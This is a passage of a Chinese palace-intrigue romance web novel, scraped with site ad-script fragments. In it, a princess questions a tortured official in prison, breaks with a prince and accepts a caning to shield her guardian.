$(''.inform'').remove(); $(''#content'').append('' 口气,收拾好地方抬头看了看天。 今日之后,怕是要人人自危了。 * 李璟不明白,柳安予那日说的,明明是来为左相求个生机,待了半天,却只不痛不痒问了个国运。 不对,不是不痛不痒,李璟蹙眉,有人要不安分,生出祸国运的事端来。 “别晃了。”柳安予跟在他身后,一个顿步差点撞上他的后背。 吓得柳安予猛撤一步,安慰似地揉揉鼻子,就李璟那铁墙一般的后背,不得直接把她撞扁啊?柳安予蹙眉抬头,正见李璟若有所思地晃了晃脑袋。 “再晃傻了。”柳安予压低声音,尽职尽责地扮演着一个小侍,“别停在这儿,先往外走。” “奥。”李璟连忙收回思绪,大步流星地按来路往外走。 这回柳安予是真没脾气了,费力跨着步子小跑跟上。 “咱们回去打算怎么办?”李璟边走边低声问她。 “先,查一遍,朝里。女官,考核,正巧五月尾。”柳安予气喘吁吁地跟着,说话都断断续续。 李璟思忖片刻,忽然交代道:“成玉昨日同我说,要盯着点沈忠,刑部二皇弟要动手。” “什么?”柳安予一愣,甚至无暇顾及两人是在哪说的,只是诧异顾淮会把这个消息告诉李璟,“他把这事儿都告诉你了?” “你知道?”这时正巧走出韩府,李璟怔愣,忽然停住问道。 柳安予猝不及防,一个跨步撞到李璟的后背,额头处火辣辣地疼。 李璟顿时慌乱起来,“对不住对不住,磕疼了吧。”他想伸手帮柳安予揉揉,又怕摸她脸会唐突,便急得挥了一圈空气。 “没事没事。”柳安予捂着脑门,被他这样子逗笑了。 青荷和车夫在不远处等着,叫了一声殿下。 李璟立即回头,着急忙慌地拉着柳安予的袖子过去,不由分说将人塞进马车里。 “去最近的医馆,快!”李璟着急吩咐道。 “哎好。”青荷一应,叫车夫驾起马车一路狂奔。 “我没事,就撞了一下而已。”柳安予无奈道。 她本想生气,见李璟的样子,倒也气不起来了,只觉好笑。 “你,你手放下,叫我瞧瞧。”李璟轻声道。 “真没事。”柳安予放下手,只见脑门红了一块,这叫李璟心疼的。 他自责地骂了自己几句,掏出帕子小心翼翼地搌了搌柳安予的额头,绕着红的地方,细心搌去汗渍。 柳安予勾了勾唇角,安慰道:“不妨事。” “告诉青荷,别去医馆了。我回府里换身行头,咱俩去慎刑司走一遭。”柳安予道。 “去那做什么?”李璟还在意着柳安予的额头,执意要先去医馆。 柳安予拗不过他,自己拿过帕子揉了揉脑门,笑了笑道:“去见见沈明忱。”她挑眉,心情大好,“我知道从哪入手了,到了告诉你。” “成。”李璟对柳安予是言听计从,抿唇担忧补充一句,“但还是得先去医馆。” 16. 16 慎刑司 “我就说没事,不必麻烦人家一趟的。”两人打医馆出来,径直回了柳安予的郡主府。 柳安予额上的红印早就消了,医师对着什么事都没有的光洁额头满脸疑惑,还是柳安予实在被盯得受不了了,这才硬拉着李璟离开。 她一下车便快步往府里赶,碰了樱桃一吩咐,“备好茶,大殿下搁后头。”言罢就要走。 樱桃连忙拉住柳安予,“郡主,顾探花也来了,在偏厅里等着呢。” “谁?”柳安予及时调转方向,惊讶地低声问道,“他来做什么?” “安乐妹妹,你等等我。”身后遥遥传来李璟的声音。 来不及多想,柳安予肉眼可见地慌乱起来,“去,你把大殿下带到正厅,绝对不要提顾淮来的事!” “啊,好,好!”樱桃顿时也慌了起来,连连点头,又急急忙忙问道:“那大殿下要是问起您,奴婢该怎么答啊?!” 柳安予提着衣摆一路小跑,背着身挥挥手,“就说我回房换衣服了——” “欸,你家郡主呢?”李璟才赶过来,目光在院中四处找寻,“方才看还在这儿。” “郡主,郡主回房换衣服了。”樱桃连忙照着柳安予教她的说辞来,心虚地不敢直视他的眼睛,好在李璟一心扑在柳安予身上,并未过多在意。 青荷从后面跟上,见樱桃眼神闪躲立即意识到什么,小跑上来笑道:“大殿下,这边请,郡主得一会儿呢。”青荷将人往正厅带,转过身给樱桃递了个眼神。 樱桃如蒙大赦,连忙小跑去备茶。 这边顾淮还在气定神闲喝茶,柳安予一个跨步走进来,震惊地看着他,“你还有心思喝茶?” ?顾淮端着茶杯的手顿住。 “不让喝吗?”顾淮一愣。 柳安予顿时无奈扶额,忽地旁边正厅传来青荷的声音,柳安予顿时紧张起来,用力薅住顾淮的胳膊将人拽起。 “啊?欸,哎!唔唔,唔......”顾淮瞳孔地震,嘴巴被柳安予死死捂住。 柳安予拽住人就往房里走,顾淮踉踉跄跄地跟着,眼神带上一抹惊恐。 腾不出手,柳安予一脚踹开房门,土匪似地将顾淮扔进去,转身迅速关好插上门闩,动作一气呵成。 她紧张到心脏砰砰直跳,顾淮坐在地上,身子半倚,原本诧异的神情渐渐淡去,好整以暇地挑眉看着她的背影,脑中思索着什么。 柳安予转过身平复心情,却发现顾淮轻蹙着眉,眸中带着几分疑惑和无辜,被她扯松的领子露出半截锁骨。 顾淮见她回头,微启唇瓣,半撑起身子显得极为脆弱,眼眸微抬,“郡主这是做什么?微臣,就那么羞于见人吗?” “不是。”柳安予百口莫辩,蹲下去想拉起顾淮,“是有人来......”柳安予突然怔愣。 不对,有什么可紧张的?柳安予突然意识到。 咚咚,两声敲门声响起,柳安予下意识扑过去捂住顾淮的嘴,由于惯性,两人顺着撞上衣柜边,垫在底下的顾淮不由得闷哼一声。 他紧蹙着眉头看向柳安予,两人靠得很近,身体紧贴,顾淮的鼻息喷洒在柳安予的掌心,带着痒意。 柳安予忍不住去看他,却发现顾淮似是撞疼了,湿漉漉的瑞凤眼带着薄红,眼睫耷拉着有些委屈。 “郡主,大殿下问您什么时候能好?” 柳安予甩了甩头,把脑子里多余的情绪甩出去,回头故作镇定回道:“急什么,我挑挑衣裳,他要是再催,那就他一个人去罢!” 是李璟,顾淮眸子一暗,眸底情绪暗流涌动。 青荷自是不敢这么回,她贴着门询问:“那郡主,要不要奴婢侍奉您更衣?” 柳安予还未开口,突然娇躯一震,僵硬地回过头看向顾淮。 顾淮隔着她的掌心,深情地看着她,垂睫用湿润的舌尖轻舔,像小猫舔毛,酥酥麻麻的电流从她掌心直蹿向天灵盖。 几乎是不用思考,柳安予连忙回道:“不用!” 青荷听到衣料摩挲的声音,登时懂了什么,不敢再多问,连忙告礼退下。 柳安予触电般抽回手,耳朵红得滴血一般,却发现慌乱之间,两人贴得极近,自己的一条腿还压在顾淮双膝间的空隙,似能听见心脏乱跳的声音。 呼吸暧昧缠绵,柳安予刚想骂他,却见猫猫顾皱着眉头,嘶地一声倒吸一口冷气。 “怎,怎么了?”柳安予手足无措地看着他。 “后背。”顾淮从牙缝中挤出这两个字,刚想起身却牵住后背伤处,唇瓣顿时疼得煞白,却还要咬唇露出倔强的表情,可望向柳安予的眸子,欲泣泫然地挂着泪珠。 “方才撞的?”柳安予下意识放缓声音,安抚似地摩挲他的脸颊。 顾淮侧头紧贴,一滴晶莹自眼尾掉落,落在白生生的锁骨上没入衣料暗色。他肌肤透白,一掐便泛出红色,方才误碰的道道红痕,点缀在他的脖颈上,他声音微哑,讨好似地蹭着,“郡主,疼。” 柳安予根本错不开眸子。 她暗暗咽了下口水,“我帮你看看......”她手刚要搭上顾淮的衣领。 咚咚两声,李璟突然敲了敲门,小声问道:“安乐?安乐你好了没?” 莫名的烦躁生出,柳安予没好气地应话,“干嘛!” 听出柳安予的情绪,受无妄之灾的李璟顿时如鹌鹑一般,站在门口不知所措,“不是你说要去慎刑司......”他的声音越来越小,越来越不自信,到了末尾,还带着些幽怨。 柳安予登时清醒了,咬了下舌尖暗骂自己,回头却见顾淮自顾自拉上衣领,喘息着靠在柜子边上,无奈笑了笑,用仅两人才能听见的气声道:“郡主去罢,我的事不打紧。” “安乐?安乐?”李璟又小心翼翼叫了两声。 “我一会儿就好,你去偏厅等着。”柳安予眸子带着隐忍的掠夺,她微启唇瓣冷声下了逐客令。 李璟不敢再扰,嘴巴张了又张,只能低落地回了一句好。 待步子渐渐远去,柳安予扶着顾淮靠在旁边的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 榻上,顺手拿了软垫垫在他背后。 “你在这休息一会儿。”柳安予缓声道。 顾淮乖巧地点点头。 这回是真的要走了,再耽搁下去,李璟必会起疑心。 柳安予站在衣柜前翻翻找找,眉间带着淡淡的愁绪,手指停留在一件软银轻罗百合裙上。 柳安予穿这件一定漂亮。 顾淮眸色暗了暗,适时出声,“郡主,不是要去慎刑司吗?” “嗯。”柳安予语调微扬,眸中带起一丝兴味,扬了扬下巴。 顾淮眼眸温和,建议道:“那选件色深的罢,那地方腌臜多尘,恐污了裙子。” “有理。”柳安予捶手,十分听劝,转头拿了件墨色盘银长袍。 她拉上屏风,将自己挡在顾淮的视线之外,宽衣解带。 屏风背后细细簌簌的声音传在顾淮耳朵里,他目光闪烁,喉结上下滚动,一刻不错地盯着屏风上的花样。 微风从窗子缝隙中吹过来,带着呜呜的声音,屏风上的傲雪寒梅娇艳,平白生出几分旖旎。 一双嫩白修长的手出现在屏风的边缘,柳安予轻轻拉开,墨色的袍子包裹住她窈窕的身姿,青丝束起,干净利落。 眉眼如削,一张脸清冷绝艳,朱唇薄红,鬓边碎发轻飘飘地散落在耳缘,如雪般冷,也如雪般精巧美丽。 还是好看。 顾淮有一刹那间的失神,反应过来时眸色更暗了几分。 “接着。”一个小白瓶子扔进顾淮掌心,顾淮明显错愕了一下。 “是活血化瘀的好药。我急着走,只能委屈你自己看看。”柳安予一边将银簪插进发间,一边细心叮嘱,“我去去就回。不管你有什么事,可在这儿等,也可先行回家去,明日再来,总之是要避着些李璟。” 柳安予暗暗骂了自己一句,这话说的,像偷情。 “微臣就在这儿等。”顾淮拉住她的袍袖,欲言又止,“......郡主,您快些回来。” “好。”柳安予心思一动,鬼使神差般攀上他的脸颊,手指勾起他的下巴。 她偏头吻去,蜻蜓点水一般啜吻他的唇瓣,她低头,用鼻尖碰了碰他,“走了。” 她抽身,衣料从他掌心滑落,快步抽出门闩走了出去,细心掩上房门。 感受着掌心残留的触感,顾淮攥起手掌,心里莫名空落落的。 李璟百无聊赖,坐在那里都快数十遍手指了,终于,看见了柳安予。 只见来人神色匆匆,衣襟微乱行至眼前,招了招手,“走罢。” “好!”李璟屁颠屁颠跟上,心里却犯嘀咕。 他打量着柳安予身上那件平平无奇的袍子,不明白如何要挑这么长时间。 柳安予钻进马车,想了想,还是忍不住掀开帘子叮嘱,“下次我会快点,大殿下不必急着催我。” “......嗯,好。”李璟僵硬地转过头,报以一个浅浅的笑。 凉风吹过,李璟心凉了半截,整个人悄悄碎掉了。 17. 17 慎刑司 入了慎刑司,糜烂的尸臭味就泛了出来,铁链碰撞出叮叮当当的声音,柳安予拿帕子掩住口鼻,紧蹙的眉头才稍稍舒展些。 “难受吗?”李璟关切地问她。 柳安予轻轻摇了摇头,把心思放在顾明忱身上。 柳安予对顾明忱的印象不深,她蹙眉看去,只见那人血污盖住了五官,身上没有一处好皮。衣料破破烂烂地挂在身上,整个人乌糟糟的,了无生气地缩在角落草席处。 柳安予仔细辨认出那一条条“破布”,是云纹团花的青绸子。年初江南那边制出的一批新绸,献到京城,数目可观,皇上大手一挥便给朝臣们制了新官服。 天气渐渐热了,这套厚的官服朝臣便不大穿,此时一条条挂在顾明忱身上,倒叫人唏嘘。 “郡主,您是要问话吗?下官叫人给他泼醒。”狱卒连忙殷勤道。 “不必。”柳安予拿帕子掩鼻,眸光微冷,“人打成这个样,哪还有问话的必要。他的罪还没认,谁准你们动的私刑?” 她声音泛冷,不怒自威,狱卒吞吐几句噤声,说不出个所以然。 “罢了,安乐,他们也是奉命行事。”李璟拉住柳安予。 “哼。”柳安予冷笑一声,“奉命?” 奉谁的命?凡下狱,大多都是往大理寺送。可只要进了慎刑司,无需奉谁的命,便是要扒了一层皮才肯罢休,上下都默认了这个规矩。 这场皇帝大刀阔斧的杀局里,顾明忱是下场的第一颗棋子,无关对错,只论输赢。 柳安予心里顿时起了一股火。 一旦顾明忱死在慎刑司,那“通匪”的罪名就会永远扣在他的脑袋上。 左相是“结党营私”的罪名,没有下狱,只是禁足,很大程度上是因为皇帝拿不出实证。可若是顾明忱以“通匪”之罪死了,那他和左相之间随随便便的一封书信,都会成为两人“勾结”的罪证。 到那时,皇帝便有了废左相的借口。 更何况,柳安予眸光渐深,一旦顾明忱死在慎刑司,“罪臣之子”的名号,就会像鬼魅缠身一般,死死缠住顾淮。 可明明他什么都没有做过。 欲加之罪,何患无辞。 顾明忱怎么辩驳,都显得无力苍白。 “唔。”顾明忱发出一句轻嗯,抬起疲惫的眼皮看向柳安予,骤然睁大眼睛。 他轻轻拖动残败的身躯,浑浊的眼瞳向上看,铁链拖在地上发出声音,“郡——主——”他像地狱锁魂的罗刹,从阴暗处向外爬去。 他没有多少力气,踉踉跄跄地用膝盖骨在地上磨,拖了一地血痕,他形如枯槁的手死死抓住牢门,声音沙哑,像鸟将死时的悲鸣,“郡——主——” 李璟一个箭步挡在柳安予面前,警惕地看向沈明忱。柳安予却抬了抬手,冷声道:“开门!” “安乐!”李璟蹙眉叫她。 “开门!”柳安予冷眸一扫,极大的压迫感逼向狱卒,狱卒战战兢兢,立即拿出钥匙。 牢门打开,不顾李璟阻拦,柳安予跨步走了进去。 顾明忱俯首,颤颤巍巍地在她脚下臣服。 “安乐!”李璟拽住柳安予的手腕,担忧地看向她,“私自审讯,万一传出去了......” 柳安予缓缓拂去他的手,一双清澈如水的眸子毫无波澜,“有任何问题,我一力承担。出去之后,我自会到长公主殿下面前请罪。” 李璟的话梗在喉咙里,转眸哑声,闷闷吩咐将狱卒支开。 此时,牢房中只剩三人。 “当日押送你来的人中,为首是谁?”柳安予沉眸问道。 “乌,乌......”顾明忱艰难发出声音,喉咙如刀割一般撕裂的痛感,让他不自觉流下清泪。 柳安予蹙眉疑惑,拔下簪子抬起他的下巴,冷声道:“张嘴。” 顾明忱顺从地张开嘴巴,只见他舌底黑压压一片,有一丝焦糊的味道,舌床明显短了一些。 柳安予的手都在抖,脸色黑了下去。 李璟见她神情不对,连忙低声问道:“怎么了?” 她手一压,收回银簪,沉着脸答道:“他舌尖被割了一半,还被喂了烧红的煤炭,舌根被烫焦,估计喉咙也坏了。一说话,便如刀片藏喉一般疼痛,因而发不出太连贯的声音。” 李璟瞳孔骤缩,不可置信地看着顾明忱,“他,他好歹是议郎给事中,即便是沦落至此,又未认罪,何来如此酷刑?” “就是已伏法的恶极犯人,也自有廷尉来审,有律令来管,犯不着这么折磨。”柳安予目光一寸一寸地凉下去,眼眸像是染了薄薄的霜,“他们想屈打成招。” 柳安予敛袍蹲下,伸手抚平地上的灰尘,抬眸目光灼灼,“你,写给我看。” 顾明忱无声呜咽,一滴清泪滴落在地上,他缓缓抬起手,一字一句控诉着当权者的种种罪行。 “当日押送你来的人中,为首是谁?”柳安予又重复一遍。 【慎刑司主事乌甫阁。】 柳安予思忖片刻,又谨慎开口,“除了我们,还有谁来看过你?” 【先是七皇子,押送那日,跟乌甫阁一同来审的,例行问了问臣认不认罪,臣拒不认,鞭打三十他便走了。】 【后为二皇子到访,见臣不肯配合,严刑拷打,还想让臣写下,污蔑左相的供词。】 【臣不肯,他便灌臣煤炭,割臣舌肉,以此警告臣不得多言。】 顾明忱的手指颤抖,却在地上写出了极其工整的字迹,柳安予看着熟悉。 左相曾夸耀过顾淮的字,说其刚硬挺拔、骨力劲健。凡是练这种字的,都极有耐心,可耗得十几年、甚至几十年的光景去成就一个字,为人谋者,都需要这种蛰伏的定力。 父子二人的字很像,只是如今指腹做笔,牢地为纸,其形神俱散,独根骨在颤颤巍巍的笔画中,静静屹立。 【再往后,便是郡主和大殿下。】 顾明忱抚平地上的灰尘,手腕上的枷锁很重,拖得他快抬不起手腕,他反复斟酌,缓缓落笔写下。 【郡主,臣的家人,都还好吗?】 他啊啊 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 两声,眸中带着希冀。 “好,都好。”柳安予朱唇微抿,轻声回复,“有顾淮在,并无大碍。”报喜不报忧。 顾明忱连连点头,眸子有一瞬涣散,像是心里的一块石头终于落了地。 他又写。 【吾家中独子,寄予厚望,常严苛管教。】 【虽,学有所成,却性子冷淡,不太亲人。】 【吾经此事,必会牵连吾子仕途。】 【愧不能己。】 顾明忱的眼睛又湿润起来,他躬下脊背,用另一只手拖住手腕,才堪堪抬起。他的速度越来越慢,写的字也越来越沉重。 【吾此去江州,早早感悟此趟凶险,便备好休书,且请族中德高望重之人,主持,将吾除出族谱。】 【罪不连子女,祸不及家人。】 【臣深谙此道。】 【臣已脱离顾家,千错万错,一人承担。】顾明忱缓缓俯下身,规规矩矩磕了三个响头。 【臣请郡主,庇佑顾家。】 李璟一脚踏在他面前,尘土飞扬,顾明忱错愕抬头,却见李璟脸色黑得滴血。 “你干什么!”柳安予甚至推不动他,脸色难看地质问。 “是你想干什么!”李璟头一回在柳安予面前冷脸,“一个左相还不够吗?你难道还要再承一个顾家,再背上几个甚至十几个人的命往前走?顾明忱求你,就是因为他知道自己的命重要,为了左相,你不可能袖手旁观。” “他这哪是求,分明就是威胁你!” 李璟说得不错,只要能救下左相,帮个顾家,不过是柳安予顺手的事情。 但李璟千不该万不该,将此事挑明,柳安予的眸子登时暗了下去。 “你想做女官,我不拦你,我甚至为你骄傲,因为我知你本该如此。”李璟的心脏一抽一抽地疼,他看着柳安予不解的眼神,忍不住冷声劝,“可左相、顾家,哪一个是你本该承的事?何必将自己牵扯进去,置自己于风口浪尖。一旦走错一步,就是长公主殿下再疼你,也救不了你!” “所以,你觉得我该如何?”柳安予的眸光揉成碎影,锐利地刺向他,“我这人,最是知恩。左相不承认我是他的学生,可家塾仍许我听,未曾怠慢,这么些年的教诲言犹在耳,我合该忘吗?他也曾教过你,忠孝礼义、廉耻悌信你读到狗肚子里去了?!” “李修常,我需要顾明忱的命,我要他的证词!”她声音不大,却从骨子里透出冷寂,言语传到李璟耳朵里,彻底寒了他的心,“多少人盯着他,盯着顾家,不是因为他们本身有多大价值,而是因为他们是棋盘上最关键的一子。” “但没人先动。因为他们舍不得用太多棋子围住,将子吃掉。”她神色淡然,黛眉轻挑,伸出手缓缓将怔愣的李璟推开,“但我舍得。” “李修常我告诉你,这顾家我柳安予管定了!”柳安予向来吃软不吃硬,竟也说了狠话,“若你不愿帮,那就此便桥归桥路归路,搁开手一拍两散!面上,我还是你的安乐妹妹,敬你一声璟哥哥,旁的,我不会再多说。” 18. 18 慎刑司 “安乐!”李璟隐忍地想去抓她的袖缘,却被柳安予刻意躲过,丝滑的缎面从他掌心溜走。 抓空的瞬间,他的心脏像被一只大手狠狠攥住,酸涩感从胸腔蔓延开来,他呼吸一滞,怔怔愣在原地。 “我可以庇佑顾家,但我要你咬死了,与左相毫无瓜葛。”柳安予嗓音清浅,却冷到不容置喙,“在庭审时,不要承下任何罪名,指控二皇子滥用私刑、屈打成招。旁的,不管谁问,都不要说。” 顾明忱缓缓垂首,俯身应答。 似是为了让柳安予放心,抑或是忍不住吐露自己的心声,顾明忱颤抖着嘴唇,忍着疼痛开口。 “臣——领命——” 他见骨的手叠在一起,污糟血痂附着在他的皮骨,忍不住瑟缩。 柳安予忍不住移开眸子,语气淡淡转身,“......走罢。” 两人出了慎刑司,一路无话,真就似柳安予所说,就此搁开手一拍两散。先前柳安予想出的计谋,在嘴边转了一圈又被她咽回去,李璟不支持她,便也没了告知的必要。 分开时李璟还想挽留,柳安予却不给他机会,利落放下遮帘直奔昱阳宫。 * “柳安予!你好大的胆子!”一只雕荷暗刻水龙纹的茶碗砸在柳安予身侧,瓷片四溅,长公主气得在宫中跺脚,将手边茶碗砸向她。 “殿下,安乐知错。”柳安予跪在堂下,面若含冰,她脊背笔直,语气平静地回话。过堂风吹起她的袍角,整个人清冷又矜贵,偏偏,倔驴似的脾气。 长公主见她这样子就来气,屏退宫内的侍婢,只留了一个知心的巧莲在身边。 长公主用手指指着她的脑袋按,恨铁不成钢的样子,“隔着牢门你怎么问,本宫都不管你!可一旦开了牢门,私自审讯,你有几个脑袋供他们参?喉舌笔墨似剜刀,你哪是拿你的命去赌?你是拿本宫的心去供他们剜!” 柳安予垂了头,抿唇敛眸不知所措,她并不擅长安慰人,白生生的肌肤渡着淡淡的红晕,小鹿似剔透的琥珀眸看向长公主,这已是她最大限度的示弱。 “殿下。”她音调轻轻,伸手想去抓住一点长公主的袍角,却被长公主狠心一躲。 柳安予张了张空落落的手,默默敛衽收回,她规矩跪好,神情娴静,“殿下罚安乐罢。”她稽首声音提高,“安乐决计不会连累殿下,扰殿下烦心。要打要罚,殿下尽管罚来。” “你!你!”长公主火气涌动,从巧莲手里抽出戒尺,高高举起的手颤抖,看着柳安予的样子却怎么都不忍心下手。 “殿下!殿下!郡主身子娇弱,禁不住打啊!!!”巧莲连忙跪地求饶,拦着长公主。 长公主的眼眶红了一圈,声泪泣下,“好一个‘尽管罚来’!你咬定了本宫舍不得不是?你,你!你叫本宫拿你怎么办?!那群腌臜货踏上门来要人,本宫交是不交?” “殿下。”柳安予抬起头,“您就交了我出去。”她仰头,神情倔强。 “你放什么屁!”长公主气得转身,咬牙切齿骂道。 “安乐没说笑。您罚了我,就交了我出去。”柳安予跪着往前靠了几步,膝盖碾过碎瓷眨眼便见了血,赫得长公主失色。 双目交汇,长公主突然听懂了柳安予的言下之意。 长公主再狠罚,也总好过把柳安予丢出去,叫旁人来罚。 “左不过,是些皮肉之苦。”柳安予说得轻巧,她的声音平淡而冷静,落在长公主耳朵里,却如冰锥般寒凉。 长公主怔怔看着她,下意识轻轻摇头向后退去,一个踉跄险些摔倒,还是巧莲在一旁眼疾手快地扶住了,不至于失态。 “你是笃定了,本宫不会坐视不理是不是?”两行清泪滑过脸颊,长公主无语凝噎,说话带着哭腔,拿着帕子的手用力捶着胸口,“你是要本宫的命啊啊啊——” 成串的泪珠扑簌簌滚了下来,长公主靠在巧莲怀里泣不成声,柳安予咬了咬唇,心脏一抽一抽地疼。 长公主怜惜地捧起她的脸,看她眼尾将落未落的泪珠,泛红的眼眶,却又兀自倔强。 她知道她的孩子,生性倔强,她气她的安乐,不把自己当回事儿;她气她的安乐,为了劳什子左相、顾家,要受这平白的苦楚;她气她的安乐......不,不是气,她是疼惜。 可她也知道,今日这罚若是不给,交由外人,不知道要怎么将她作践到泥里。 她这罚,只能狠,不能轻。 “我苦命的孩子啊啊——”长公主将她搂在怀里抽泣,哭了良久,才有气无力地吩咐一句。 “巧莲,传人,行以笞刑......责一百。” 尾音渐弱,此言一出,长公主宛若失魂一般。 “殿下——”巧莲涕泪横流,她看着柳安予在昱阳宫长起来,哪里舍得责罚。 “巧莲姑姑!”柳安予拉住她的衣袖,轻轻摇了摇头。 她顿了顿,目光看向长公主,眸底带着感激,她又转过来冲着巧莲说话,声音清浅,“姑姑,去罢。” 侍卫排站两侧,昱阳宫大大小小的侍婢都被传来,柳安予静静跪在大殿中央,身量清癯,殿内昏黄的烛光将她眉眼照得模糊。 沉香缭绕升起,三尺五寸长的笞杖,二寸宽,横过去显得她肩背更加削薄。 “打。”长公主站在堂上,面若含冰,搭在巧莲臂上的手却忍不住缩紧。 打在孩儿身,疼在父母心。 一声声沉闷的笞杖杖身声响起,长公主心疼到不能呼吸,胸膛像压着一块沉重的石头压得她喘不过气,她终于忍不住地别开脸低泣。 旁边侍卫婢女赫得噤声,昱阳宫中,只杖声愈发响亮。 侍卫没有收力,杖杖卯足了劲打过去,一杖下去,柳安予闷哼一声,额上汗如雨下。 她咬紧牙关,眉头蹙起似能打结,偏偏一声不吭,原本扶在膝上的手一瞬攥紧,死死抓着袍子忍耐。 一下,两下,三下,墨色 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 盘银的袍子渐渐殷深,笞杖上沾了刺眼的血色,旁人都不忍再看。 “啊!”一声短促地呼喊从柳安予唇边溢出,她面色惨白如纸,唇瓣殷红,是她咬破的血。 她大汗淋漓,鬓边碎发紧贴在她清绝的脸蛋上,美得惊心动魄,像冷风中摧残的乍眼的梅,孤傲又明艳。 她忍不住躬下身,用双臂堪堪支住摇摇欲坠的身体,视线渐渐模糊。 “安乐呜呜,我的安乐啊啊——”长公主再也忍不住了,被巧莲扶到座位上,掩帕恸哭。 柳安予被打一下,她心便疼一下,整整六十杖下去,柳安予一声短促呼喊,让她彻底绷不住了。 侍卫的笞杖不知所措地停在半空,不知是该落还是该停。 独柳安予挣扎爬起,伸手颤颤巍巍抓住一节发带,咬在嘴里,倔强地发出闷闷的一声,“打!” 她纤长卷翘的睫毛凝着霜雪,琥珀眸泛着流光,笞杖高高举起,用力地打在她背上,登时皮开肉绽。 她长这么大,长公主护她疼她,捧在手里怕摔了,含在嘴里怕化了,就是重话也未曾说过几句。 今这一遭,长公主心都要碎了。 眼泪在眼眶里打转,柳安予本不想哭,不掺杂任何情绪,仅仅是宣泄,将皮肉之苦狠狠宣泄出来!她的泪如掉了线的珠链噼里啪啦落在地上,忍不住发出呜咽。 却没人再敢停,已经打到这个地步,一旦停下,便是前功尽弃。 最后一下,“邦”得一声结结实实地打在她背上,她一瞬失力跌倒,像残破的布偶一般。长公主一声惊呼,失态地从堂上向她跑来,颤抖着手轻柔将人托起,哭得泣不成声。 “传,传太医!”长公主紧张到结巴,话音未落,却感觉到柳安予轻轻拽住她。她低下头,见柳安予惨白地扯了扯嘴角,“不,不要,不要疼惜我。” 她唇瓣嚅嗫,将长公主拽近,附在她耳边气若游丝地吐出一句话,“遣我回去,自有,府医为我治伤。殿,殿下,您若疼惜,安乐就白挨打了。”她抿唇一笑,本是安慰,却叫长公主哭得更加厉害。 “好,本宫就当了这个坏人。”长公主又气又心疼,却仍纵着她,最终放开手眼巴巴地看着她离开。 她腿都软了,感觉整个人走在棉花上,没有着地。 她强撑着回府,身后伤口在马车的颠簸下,涌出鲜血。 青荷、樱桃不知发生了什么,搀着柳安予下来,无意一瞥,被她背后的伤吓得惊呼。 手忙脚乱将人抬进屋里,府医连忙为她治伤。 柳安予只觉得脑袋昏昏沉沉,眼前渐渐模糊看不清人影,她趴在床上,手伸向一个茫然的方向。 恍惚之间,她好像看到了扮成侍卫混在人群中的顾淮,眨眨眼,眼前骤然一片漆黑。 “郡主晕过去了——快——” 顾淮沉眸看向榻上重伤的人,心口突如其来的尖锐疼痛,像利刃一刀一刀剜进凌迟,又深又重,窒息般地闷痛。 19. 19 笞杖伤 疼。 五脏六腑被搅散了一般,脊背火辣辣的痛感。 柳安予静静站在黑暗之间,周围伸手不见五指,四周是死一般的寂静,迷茫、未知,很多种情绪占据着她的大脑。 头,昏昏的。 她试探地踏出步子,登时陷入一片柔软。 失重感将她包围,她试图抽离身体,越是挣扎,陷得越深。 就在她以为她要窒息而死的时候,包裹感停在了脖颈。 她睫羽颤抖,好热,好温暖。 一股淡淡的清香萦绕在鼻尖,她渐渐卸下心防,缩成一小团,轻轻靠在热源上。 是,熏香的味道。 她依赖地蹭蹭脸颊,微微抿唇。 顾淮的手臂环过去细心地避开伤口,轻轻搂住她,低头看柳安予抓着他的前襟,睫毛卷翘纤长,侧头蹭蹭他找了个舒服的姿势,安稳睡着。 是顾淮趁青荷去煮药,蹑手蹑脚地翻窗进来。 他走近榻前时,柳安予正难受得直蹙眉,手紧紧抓着被面,流露出几分凄哀孤冷。 她背后伤痕累累,只得侧躺着以一个难受的姿势入睡,唇瓣苍白,气息奄奄半阖眼入睡,稍稍一动牵扯住伤口,衣衫上便被洇透鲜血淋漓。 骤然间,顾淮钻心一般地疼,仿佛有一把匕首在一下下凌迟他的心脏,闷闷地刺痛着。 他敛衽蹲下,一袭玄墨压纹薄衫如夜色完美融合,他躲在暗处,小心翼翼地伸出手抚摸她的脸颊。 冷白的手指轻轻为她拢发。 柳安予无意识轻嗯一声,嚇得他指尖一颤,心脏扑通扑通跳个不停。 他回过神,发现柳安予没有醒,只是感知到他的温暖,下意识向他靠去。 顾淮眸色渐渐晦暗,窗外是漫长无垠的夜,他做了个大胆的决定,起身坐在床沿,伸手将人搂在怀里。 另一只手拽住被子,将人裹得严严实实。 凉风从窗外吹进来,树影婆娑,他却如火炉一般,静静温暖着柳安予冰凉的身体。 一会儿就好,顾淮目不转睛地看着她纤细的指节,眸色沉沉,指腹轻轻摩挲,直到柳安予的手渐渐回暖,泛出淡淡的红色。 “你总是这么冷。”顾淮声音轻若叹息,带着点幽怨,像是在跟自己说话。 他知道柳安予都干了什么,这两天外面闹得沸沸扬扬,若不是长公主提前罚过,那群腌臜人恨不得立即就将柳安予参上堂。 好在柳安予如今昏迷,耳根子能清净一点。顾淮一顿,却恨不得给自己一巴掌,呸呸呸,好在什么,这有什么好的! 他眸底情绪复杂。 突然,门闩挪动的声音响起。 青荷推开门,吱嘎一声,蹙眉端着一盅褐色汤药进来,她紧走几步将药放在小案上,被烫得摸了摸耳朵。 呼呼的风从窗户灌进来,窗户被吹得噼啪直打墙。 “欸,窗户怎么吹开了?”青荷连忙走过去关上窗,伸手拽了帘子挡上,这下,一点风也漏不进来了。 她搬了小凳过去,见柳安予睡得正熟,眉宇舒展发出平稳的呼吸声。 这几日柳安予反反复复发烧,期间醒来几次,大多意识不清,脑子昏昏沉沉的。青荷问了府医,说是伤太重,得了炎症,便又开了退烧消炎的方子,药苦,柳安予喝得很少。 柳安予难得睡一个安稳觉,青荷不想打扰,只得搁下药匙,将汤药盖严实,又叫人端了炉子进来小火煨着。 柳安予就这样躺了三天。 这日,顾淮照常翻进来看她,手撩开帘子,看到柳安予恬静的睡颜。 他的眸子登时温柔了下来,弯腰坐在青荷的小凳上,挪动身子往前移了移。 他伸手将她额上已经温热的毛巾拿下来,放入冷水盆里浸湿,拧到半干,又叠好小心放在她额上。 